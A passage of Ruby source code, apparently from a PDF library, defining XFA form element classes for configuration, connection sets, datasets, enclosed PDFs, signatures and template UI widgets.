ALL_INDIVIDUALLY) super('validationMessaging') self.text = validate end end class VersionControl < XFA::Element xfa_attribute 'lock' xfa_attribute 'outputBelow' xfa_attribute 'sourceAbove' xfa_attribute 'sourceBelow' def initialize super('versionControl') end end class Mode < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' APPEND = "append" OVERWRITE = "overwrite" def initialize(mode = APPEND) super('mode') self.text = mode end end class Threshold < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' TRACE = "trace" ERROR = "error" INFORMATION = "information" WARN = "warn" def initialize(threshold = TRACE) super('threshold') self.text = threshold end end class To < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' NULL = "null" MEMORY = "memory" STD_ERR = "stderr" STD_OUT = "stdout" SYSTEM = "system" URI = "uri" def initialize(dest = NULL) super('to') self.text = dest end end class Log < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'mode', Config::Mode, 0..1 xfa_node 'threshold', Config::Threshold, 0..1 xfa_node 'to', Config::To, 0..1 xfa_node 'uri', Config::URI, 0..1 def initialize super('log') end end class Common < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'data', Config::Data, 0..1 xfa_node 'locale', Config::Locale, 0..1 xfa_node 'localeSet', Config::LocaleSet, 0..1 xfa_node 'messaging', Config::Messaging, 0..1 xfa_node 'suppressBanner', Config::SuppressBanner, 0..1 xfa_node 'template', Config::Template, 0..1 xfa_node 'validationMessaging', Config::ValidationMessaging, 0..1 xfa_node 'versionControl', Config::VersionControl, 0..1 xfa_node 'log', Config::Log def initialize super("common") end end end # # The _connectionSet_ packet describes the connections used to initiate or conduct web services. # class ConnectionSet < XFA::Element mime_type 'text/xml' def initialize super("connectionSet") add_attribute 'xmlns', 'http://www.xfa.org/schema/xfa-connection-set/2.8/' end class EffectiveInputPolicy < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('effectiveInputPolicy') end end class EffectiveOutputPolicy < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('effectiveOutputPolicy') end end class Operation < XFA::Element xfa_attribute 'id' xfa_attribute 'input' xfa_attribute 'name' xfa_attribute 'output' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(name = "") super('operation') self.text = name end end class SOAPAction < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(uri = "") super('soapAction') self.text = uri end end class SOAPAddress < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(addr = "") super('soapAddress') self.text = addr end end class WSDLAddress < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(addr = "") super('wsdlAddress') self.text = addr end end class WSDLConnection < XFA::Element xfa_attribute 'dataDescription' xfa_attribute 'name' xfa_node 'effectiveInputPolicy', ConnectionSet::EffectiveInputPolicy, 0..1 xfa_node 'effectiveOutputPolicy', ConnectionSet::EffectiveOutputPolicy, 0..1 xfa_node 'operation', ConnectionSet::Operation, 0..1 xfa_node 'soapAction', ConnectionSet::SOAPAction, 0..1 xfa_node 'soapAddress', ConnectionSet::SOAPAddress, 0..1 xfa_node 'wsdlAddress', ConnectionSet::WSDLAddress, 0..1 def initialize super('wsdlConnection') end end class URI < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(uri = "") super('uri') self.text = uri end end class RootElement < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(root = '') super('rootElement') self.text = root end end class XSDConnection < XFA::Element xfa_attribute 'dataDescription' xfa_attribute 'name' xfa_node 'rootElement', ConnectionSet::RootElement, 0..1 xfa_node 'uri', ConnectionSet::URI, 0..1 def initialize super('xsdConnection') end end class XMLConnection < XFA::Element xfa_attribute 'dataDescription' xfa_attribute 'name' xfa_node 'uri', ConnectionSet::URI, 0..1 def initialize super('xmlConnection') end end xfa_node 'wsdlConnection', ConnectionSet::WSDLConnection xfa_node 'xmlConnection', ConnectionSet::XMLConnection xfa_node 'xsdConnection', ConnectionSet::XSDConnection end # # The _datasets_ element enclosed XML data content that may have originated from an XFA form and/or # may be intended to be consumed by an XFA form. # class Datasets < XFA::Element mime_type 'text/xml' class Data < XFA::Element def initialize super('xfa:data') end end def initialize super("xfa:datasets") add_attribute 'xmlns:xfa', 'http://www.xfa.org/schema/xfa-data/1.0/' end end # # The _localeSet_ packet encloses information about locales. # class LocaleSet < XFA::Element mime_type 'text/xml' def initialize super("localeSet") add_attribute 'xmlns', 'http://www.xfa.org/schema/xfa-locale-set/2.7/' end end # # An XDF _pdf_ element encloses a PDF packet. # class PDF < XFA::Element mime_type 'application/pdf' xfa_attribute :href def initialize super("pdf") add_attribute 'xmlns', 'http://ns.adobe.com/xdp/pdf/' end def enclose_pdf(pdfdata) require 'base64' b64data = Base64.encode64(pdfdata).chomp! doc = elements['document'] || add_element('document') chunk = doc.elements['chunk'] || doc.add_element('chunk') chunk.text = b64data self end def has_enclosed_pdf? chunk = elements['document/chunk'] not chunk.nil? and not chunk.text.nil? end def remove_enclosed_pdf elements.delete('document') if has_enclosed_pdf? end def enclosed_pdf return nil unless has_enclosed_pdf? require 'base64' Base64.decode64(elements['document/chunk'].text) end end # # The _signature_ packet encloses a detached digital signature. # class Signature < XFA::Element mime_type '' def initialize super("signature") add_attribute 'xmlns', 'http://www.w3.org/2000/09/xmldsig#' end end # # The _sourceSet_ packet contains ADO database queries, used to describe data # binding to ADO data sources. # class SourceSet < XFA::Element mime_type 'text/xml' def initialize super("sourceSet") add_attribute 'xmlns', 'http://www.xfa.org/schema/xfa-source-set/2.8/' end end # # The _stylesheet_ packet encloses a single XSLT stylesheet. # class StyleSheet < XFA::Element mime_type 'text/css' def initialize(id) super("xsl:stylesheet") add_attribute 'version', '1.0' add_attribute 'xmlns:xsl', 'http://www.w3.org/1999/XSL/Transform' add_attribute 'id', id.to_s end end # # This packet contains the form template. # class Template < XFA::Element mime_type 'application/x-xfa-template' class Boolean < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' NO = 0 YES = 1 def initialize(bool = nil) super('boolean') self.text = bool end end class Date < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(date = nil) super('date') self.text = date end end class DateTime < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(datetime = nil) super('dateTime') self.text = datetime end end class Decimal < XFA::Element xfa_attribute 'fracDigits' xfa_attribute 'id' xfa_attribute 'leadDigits' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(number = nil) super('decimal') self.text = number end end class ExData < XFA::Element xfa_attribute 'contentType' xfa_attribute 'href' xfa_attribute 'id' xfa_attribute 'maxLength' xfa_attribute 'name' xfa_attribute 'rid' xfa_attribute 'transferEncoding' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(data = nil) super('exData') self.text = data end end class Float < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(float = nil) super('float') self.text = float end end class Image < XFA::Element xfa_attribute 'aspect' xfa_attribute 'contentType' xfa_attribute 'href' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'transferEncoding' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(data = nil) super('image') self.text = data end end class Integer < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(int = nil) super('integer') self.text = int end end class Text < XFA::Element xfa_attribute 'id' xfa_attribute 'maxChars' xfa_attribute 'name' xfa_attribute 'rid' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(text = "") super('text') self.text = text end end class Time < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(time = nil) super('time') self.text = time end end class Extras < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'boolean', Template::Boolean xfa_node 'date', Template::Date xfa_node 'dateTime', Template::DateTime xfa_node 'decimal', Template::Decimal xfa_node 'exData', Template::ExData xfa_node 'extras', Template::Extras xfa_node 'float', Template::Float xfa_node 'image', Template::Image xfa_node 'integer', Template::Integer xfa_node 'text', Template::Text xfa_node 'time', Template::Time def initialize super('extras') end end class Speak < XFA::Element xfa_attribute 'disable' xfa_attribute 'id' xfa_attribute 'priority' xfa_attribute 'rid' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(text = "") super('speak') self.text = text end end class ToolTip < XFA::Element xfa_attribute 'id' xfa_attribute 'rid' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(text = "") super('toolTip') end end class Assist < XFA::Element xfa_attribute 'id' xfa_attribute 'role' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'speak', Template::Speak, 0..1 xfa_node 'toolTip', Template::ToolTip, 0..1 def initialize super('assist') end end class Picture < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(data = nil) super('picture') self.text = data end end class Bind < XFA::Element xfa_attribute 'match' xfa_attribute 'ref' xfa_node 'picture', Template::Picture, 0..1 def initialize super('bind') end end class Bookend < XFA::Element xfa_attribute 'id' xfa_attribute 'leader' xfa_attribute 'trailer' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('bookend') end end class Color < XFA::Element xfa_attribute 'cSpace' xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'value' xfa_node 'extras', Template::Extras, 0..1 def initialize super('color') self.cSpace = "SRGB" end end class Corner < XFA::Element xfa_attribute 'id' xfa_attribute 'inverted' xfa_attribute 'join' xfa_attribute 'presence' xfa_attribute 'radius' xfa_attribute 'stroke' xfa_attribute 'thickness' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('corner') end end class Edge < XFA::Element xfa_attribute 'cap' xfa_attribute 'id' xfa_attribute 'presence' xfa_attribute 'stroke' xfa_attribute 'thickness' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('edge') end end class Linear < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('linear') end end class Pattern < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('pattern') end end class Radial < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('radial') end end class Solid < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 def initialize super('solid') end end class Stipple < XFA::Element xfa_attribute 'id' xfa_attribute 'rate' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('stipple') end end class Fill < XFA::Element xfa_attribute 'id' xfa_attribute 'presence' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'linear', Template::Linear, 0..1 xfa_node 'pattern', Template::Pattern, 0..1 xfa_node 'radial', Template::Radial, 0..1 xfa_node 'solid', Template::Solid, 0..1 xfa_node 'stipple', Template::Stipple, 0..1 def initialize super('fill') end end class Margin < XFA::Element xfa_attribute 'bottomInset' xfa_attribute 'id' xfa_attribute 'leftInset' xfa_attribute 'rightInset' xfa_attribute 'topInset' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 def initialize super('margin') end end class Border < XFA::Element xfa_attribute 'break' xfa_attribute 'hand' xfa_attribute 'id' xfa_attribute 'presence' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'corner', Template::Corner, 0..4 xfa_node 'edge', Template::Edge, 0..4 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'fill', Template::Fill, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('border') end end class Break < XFA::Element xfa_attribute 'after' xfa_attribute 'afterTarget' xfa_attribute 'before' xfa_attribute 'beforeTarget' xfa_attribute 'bookendLeader' xfa_attribute 'bookendTrailer' xfa_attribute 'id' xfa_attribute 'overflowLeader' xfa_attribute 'overflowTarget' xfa_attribute 'overflowTrailer' xfa_attribute 'startNew' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 def initialize super('break') end end class Message < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'text', Template::Text def initialize super('message') end end class Script < XFA::Element xfa_attribute 'binding' xfa_attribute 'contentType' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'runAt' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(script = "") super('script') self.text = script end end class JavaScript < Script def initialize(script = "") super(script) self.contentType = 'application/x-javascript' end end class FormCalcScript < Script def initialize(script = "") super(script) self.contentType = 'application/x-formcalc' end end class Calculate < XFA::Element xfa_attribute 'id' xfa_attribute 'override' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'message', Template::Message, 0..1 xfa_node 'script', Template::Script, 0..1 def initialize super('calculate') end end class Desc < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'boolean', Template::Boolean xfa_node 'date', Template::Date xfa_node 'dateTime', Template::DateTime xfa_node 'decimal', Template::Decimal xfa_node 'exData', Template::ExData xfa_node 'float', Template::Float xfa_node 'image', Template::Image xfa_node 'integer', Template::Integer xfa_node 'text', Template::Text xfa_node 'time', Template::Time def initialize super('desc') end end class Keep < XFA::Element xfa_attribute 'id' xfa_attribute 'intact' xfa_attribute 'next' xfa_attribute 'previous' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 NONE = "none" CONTENTAREA = "contentArea" PAGEAREA = "pageArea" def initialize super('keep') end end class Occur < XFA::Element xfa_attribute 'id' xfa_attribute 'initial' xfa_attribute 'max' xfa_attribute 'min' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 def initialize super('occur') end end class Overflow < XFA::Element xfa_attribute 'id' xfa_attribute 'leader' xfa_attribute 'target' xfa_attribute 'trailer' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('overflow') end end class Medium < XFA::Element xfa_attribute 'id' xfa_attribute 'imagingBBox' xfa_attribute 'long' xfa_attribute 'orientation' xfa_attribute 'short' xfa_attribute 'stock' xfa_attribute 'trayIn' xfa_attribute 'trayOut' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('medium') end end class Font < XFA::Element xfa_attribute 'baselineShift' xfa_attribute 'fontHorizontalScale' xfa_attribute 'fontVerticalScale' xfa_attribute 'id' xfa_attribute 'kerningMode' xfa_attribute 'letterSpacing' xfa_attribute 'lineThrough' xfa_attribute 'lineThroughPeriod' xfa_attribute 'overline' xfa_attribute 'overlinePeriod' xfa_attribute 'posture' xfa_attribute 'size' xfa_attribute 'typeface' xfa_attribute 'underline' xfa_attribute 'underlinePeriod' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'weight' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'fill', Template::Fill, 0..1 def initialize super('font') end end class Hyphenation < XFA::Element xfa_attribute 'excludeAllCaps' xfa_attribute 'excludeInitialCap' xfa_attribute 'hyphenate' xfa_attribute 'id' xfa_attribute 'pushCharacterCount' xfa_attribute 'remainCharacterCount' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'wordCharacterCount' def initialize super('hyphenation') end end class Para < XFA::Element xfa_attribute 'hAlign' xfa_attribute 'id' xfa_attribute 'lineHeight' xfa_attribute 'marginLeft' xfa_attribute 'marginRight' xfa_attribute 'orphans' xfa_attribute 'preserve' xfa_attribute 'radixOffset' xfa_attribute 'spaceAbove' xfa_attribute 'spaceBelow' xfa_attribute 'tabDefault' xfa_attribute 'tabStops' xfa_attribute 'textIndent' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'vAlign' xfa_attribute 'widows' xfa_node 'hyphenation', Template::Hyphenation, 0..1 def initialize super('para') end end class Arc < XFA::Element xfa_attribute 'circular' xfa_attribute 'hand' xfa_attribute 'id' xfa_attribute 'startAngle' xfa_attribute 'sweepAngle' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'edge', Template::Edge, 0..1 xfa_node 'fill', Template::Fill, 0..1 def initialize super('arc') end end class Line < XFA::Element xfa_attribute 'hand' xfa_attribute 'id' xfa_attribute 'slope' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'edge', Template::Edge, 0..1 def initialize super('line') end end class Corner < XFA::Element xfa_attribute 'id' xfa_attribute 'inverted' xfa_attribute 'join' xfa_attribute 'presence' xfa_attribute 'radius' xfa_attribute 'stroke' xfa_attribute 'thickness' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'color', Template::Color, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('corner') end end class Rectangle < XFA::Element xfa_attribute 'hand' xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'corner', Template::Corner, 0..4 xfa_node 'edge', Template::Edge, 0..4 xfa_node 'fill', Template::Fill, 0..4 def initialize super('rectangle') end end class Value < XFA::Element xfa_attribute 'id' xfa_attribute 'override' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'arc', Template::Arc, 0..1 xfa_node 'boolean', Template::Boolean, 0..1 xfa_node 'date', Template::Date, 0..1 xfa_node 'dateTime', Template::DateTime, 0..1 xfa_node 'decimal', Template::Decimal, 0..1 xfa_node 'exData', Template::ExData, 0..1 xfa_node 'float', Template::Float, 0..1 xfa_node 'image', Template::Image, 0..1 xfa_node 'integer', Template::Integer, 0..1 xfa_node 'line', Template::Line, 0..1 xfa_node 'rectangle', Template::Rectangle, 0..1 xfa_node 'text', Template::Text, 0..1 xfa_node 'time', Template::Time, 0..1 def initialize super('value') end end class Caption < XFA::Element xfa_attribute 'id' xfa_attribute 'placement' xfa_attribute 'presence' xfa_attribute 'reserve' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'font', Template::Font, 0..1 xfa_node 'margin', Template::Margin, 0..1 xfa_node 'para', Template::Para, 0..1 xfa_node 'value', Template::Value, 0..1 def initialize super('caption') end end class Traverse < XFA::Element xfa_attribute 'id' xfa_attribute 'operation' xfa_attribute 'ref' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'script', Template::Script, 0..1 def initialize super('traverse') end end class Traversal < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'traverse', Template::Traverse def initialize super('traversal') end end class Certificate < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(b64data = nil) super('certificate') self.text = b64data end end class Encrypt < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'certificate', Template::Certificate, 0..1 def initialize super('encrypt') end end class Barcode < XFA::Element xfa_attribute 'charEncoding' xfa_attribute 'checksum' xfa_attribute 'dataColumnCount' xfa_attribute 'dataLength' xfa_attribute 'dataPrep' xfa_attribute 'dataRowCount' xfa_attribute 'endChar' xfa_attribute 'errorConnectionLevel' xfa_attribute 'id' xfa_attribute 'moduleHeight' xfa_attribute 'moduleWidth' xfa_attribute 'printCheckDigit' xfa_attribute 'rowColumnRatio' xfa_attribute 'startChar' xfa_attribute 'textLocation' xfa_attribute 'truncate' xfa_attribute 'type' xfa_attribute 'upsMode' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'wideNarrowRatio' xfa_node 'encrypt', Template::Encrypt, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('barcode') end end class Button < XFA::Element xfa_attribute 'highlight' xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 def initialize super('button') end end class CheckButton < XFA::Element xfa_attribute 'id' xfa_attribute 'mark' xfa_attribute 'shape' xfa_attribute 'size' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('checkButton') end end class ChoiceList < XFA::Element xfa_attribute 'commitOn' xfa_attribute 'id' xfa_attribute 'open' xfa_attribute 'textEntry' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('choiceList') end end class Comb < XFA::Element xfa_attribute 'id' xfa_attribute 'numberOfCells' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('comb') end end class DateTimeEdit < XFA::Element xfa_attribute 'hScrollPolicy' xfa_attribute 'id' xfa_attribute 'picker' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'comb', Template::Comb, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('dateTimeEdit') end end class DefaultUI < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 def initialize super('defaultUi') end end class ImageEdit < XFA::Element xfa_attribute 'data' xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('imageEdit') end end class NumericEdit < XFA::Element xfa_attribute 'hScrollPolicy' xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'comb', Template::Comb, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('numericEdit') end end class PasswordEdit < XFA::Element xfa_attribute 'hScrollPolicy' xfa_attribute 'id' xfa_attribute 'passwordChar' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('passwordEdit') end end class AppearanceFilter < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(name = "") super('appearanceFilter') self.text = name end end class Issuers < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'certificate', Template::Certificate def initialize super('issuers') end end class KeyUsage < XFA::Element xfa_attribute 'crlSign' xfa_attribute 'dataEncipherment' xfa_attribute 'decipherOnly' xfa_attribute 'digitalSignature' xfa_attribute 'encipherOnly' xfa_attribute 'id' xfa_attribute 'keyAgreement' xfa_attribute 'keyCertSign' xfa_attribute 'keyEncipherment' xfa_attribute 'nonRepudiation' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('keyUsage') end end class OID < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(oid = "") super('oid') self.text = oid end end class OIDs < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'oid', Template::OID def initialize super('oids') end end class Signing < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'certificate', Template::Certificate def initialize super('signing') end end class SubjectDN < XFA::Element xfa_attribute 'delimiter' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(data = "") super('subjectDN') self.text = data end end class SubjectDNs < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'subjectDN', Template::SubjectDN, 0..1 def initialize super('subjectDNs') end end class Certificates < XFA::Element xfa_attribute 'credentialServerPolicy' xfa_attribute 'id' xfa_attribute 'url' xfa_attribute 'urlPolicy' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'issuers', Template::Issuers, 0..1 xfa_node 'keyUsage', Template::KeyUsage, 0..1 xfa_node 'oids', Template::OIDs, 0..1 xfa_node 'signing', Template::Signing, 0..1 xfa_node 'subjectDNs', Template::SubjectDNs, 0..1 def initialize super('certificates') end end class DigestMethod < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(method = "") super('digestMethod') self.text = method end end class DigestMethods < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'digestMethod', Template::DigestMethod def initialize super('digestMethods') end end class Encoding < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(encoding = "") super('encoding') self.text = encoding end end class Encodings < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'encoding', Template::Encoding def initialize super('encodings') end end class Handler < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(handler = "") super('handler') self.text = handler end end class LockDocument < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(lock = "default") super('lockDocument') self.text = lock end end class MDP < XFA::Element xfa_attribute 'id' xfa_attribute 'permissions' xfa_attribute 'signatureType' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('mdp') end end class Reason < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(reason = "") super('reason') self.text = reason end end class Reasons < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'reason', Template::Reason def initialize super('reasons') end end class TimeStamp < XFA::Element xfa_attribute 'id' xfa_attribute 'server' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('timeStamp') end end class Filter < XFA::Element xfa_attribute 'addRevocationInfo' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'version' xfa_node 'appearanceFilter', Template::AppearanceFilter, 0..1 xfa_node 'certificates', Template::Certificates, 0..1 xfa_node 'digestMethods', Template::DigestMethods, 0..1 xfa_node 'encodings', Template::Encodings, 0..1 xfa_node 'handler', Template::Handler, 0..1 xfa_node 'lockDocument', Template::LockDocument, 0..1 xfa_node 'mdp', Template::MDP, 0..1 xfa_node 'reasons', Template::Reasons, 0..1 xfa_node 'timeStamp', Template::TimeStamp, 0..1 def initialize super('filter') end end class Ref < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' def initialize(somexpr = nil) super('ref') self.text = somexpr end end class Manifest < XFA::Element xfa_attribute 'action' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'ref', Template::Ref, 0..1 def initialize super('manifest') end end class Signature < XFA::Element xfa_attribute 'id' xfa_attribute 'type' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'border', Template::Border, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'filter', Template::Filter, 0..1 xfa_node 'manifest', Template::Manifest, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('signature') end end class TextEdit < XFA::Element xfa_attribute 'allowRichText' xfa_attribute 'hScrollPolicy' xfa_attribute 'id' xfa_attribute 'multiLine' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'vScrollPolicy' xfa_node 'border', Template::Border, 0..1 xfa_node 'comb', Template::Comb, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 def initialize super('textEdit') end end class UI < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'picture', Template::Picture, 0..1 xfa_node 'barcode', Template::Barcode, 0..1 xfa_node 'button', Template::Button, 0..1 xfa_node 'checkButton', Template::CheckButton, 0..1 xfa_node 'choiceList', Template::ChoiceList, 0..1 xfa_node 'dateTimeEdit', Template::DateTimeEdit, 0..1 xfa_node 'defaultUi', Template::DefaultUI, 0..1 xfa_node 'imageEdit', Template::ImageEdit, 0..1 xfa_node 'numericEdit', Template::NumericEdit, 0..1 xfa_node 'passwordEdit', Template::PasswordEdit, 0..1 xfa_node 'signature', Template::Signature, 0..1 xfa_node 'textEdit', Template::TextEdit, 0..1 def initialize super('ui') end end class SetProperty < XFA::Element xfa_attribute 'connection' xfa_attribute 'ref' xfa_attribute 'target' def initialize super('setProperty') end end class Draw < XFA::Element xfa_attribute 'anchorType' xfa_attribute 'colSpan' xfa_attribute 'h' xfa_attribute 'id' xfa_attribute 'locale' xfa_attribute 